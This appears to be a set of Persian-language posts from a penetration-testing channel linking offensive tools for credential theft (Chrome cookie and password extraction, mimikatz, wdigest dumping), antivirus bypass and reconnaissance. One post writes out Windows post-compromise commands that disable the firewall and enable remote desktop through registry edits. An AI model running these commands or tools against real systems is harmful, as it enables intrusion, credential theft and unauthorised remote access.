ابزار استخراج کوکی ها و پسوردها از مروگر کروم
نوشته شده با #C


https://github.com/rasta-mouse/CookieMonster


#chrome
#enum


@sec_nerd

پیاده سازی mimikatz با استفاده از پایتون

https://github.com/skelsec/pypykatz


#python
#mimikatz
#enum


@sec_nerd

ابزار شناسایی WAF

https://github.com/enablesecurity/wafw00f


#web
#pentest
#enum
#waf


@sec_nerd

htrace.sh is a shell script for http/https troubleshooting and profiling. It's also a simple wrapper around several open source security tools.


https://github.com/trimstray/htrace.sh


#tools
#enum


@sec_nerd

چند دستور کاربردی پس از نفوذ به سیستم های ویندوزی:

لیست قوانین فایروال:
netsh advfirewall firewall show rule name=all

لیست کاربران لاگین شده:
query user

از کار انداختن فایروال ویندوز
netsh firewall set opmode disable

استارت سرویس ریموت دسکتاپ
sc config termservice start= auto


دریافت پورت rdp
REG QUERY "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber


فعالسازی ارتباطات rdp از رجیستری:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


فعالسازی rdp:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d 1 /f


#windows
#cmd
#enum


@sec_nerd

دور زدن آنتی ویروس با هدف اجرای mimikatz


https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/


#windows
#privesc
#enum
#mimikatz


@sec_nerd

دستور تک خطی برای استخراج پسوردها از wdigest ویندوز


https://github.com/giMini/mimiDbg

#windows
#privesc
#enum


@sec_nerd

کاربردهای اولیه ی ابزار wmic و برخی دستورات مفید دیگر در ویندوز

https://www.andreafortuna.org/2017/08/03/windows-command-line-cheatsheet-part-1-some-useful-tips/

https://www.andreafortuna.org/2017/08/09/windows-command-line-cheatsheet-part-2-wmic/


#wmic
#windows
#enum

@sec_nerd

جمع آوری اطلاعات از منابع باز در تست نفوذ

#recon
#enum


@sec_nerd

ابزار جمع آوری ساب دامین از اهداف

https://pentestmag.com/tugarecon-subdomain-enumeration-tool/


#subdomain
#web
#pentest
#enum


@sec_nerd